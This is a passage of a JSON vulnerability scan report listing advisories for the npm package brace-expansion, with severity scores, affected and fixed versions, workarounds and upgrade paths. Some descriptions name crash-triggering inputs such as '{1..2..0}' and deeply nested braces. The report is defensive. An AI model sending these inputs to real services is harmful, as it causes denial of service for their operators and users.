false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
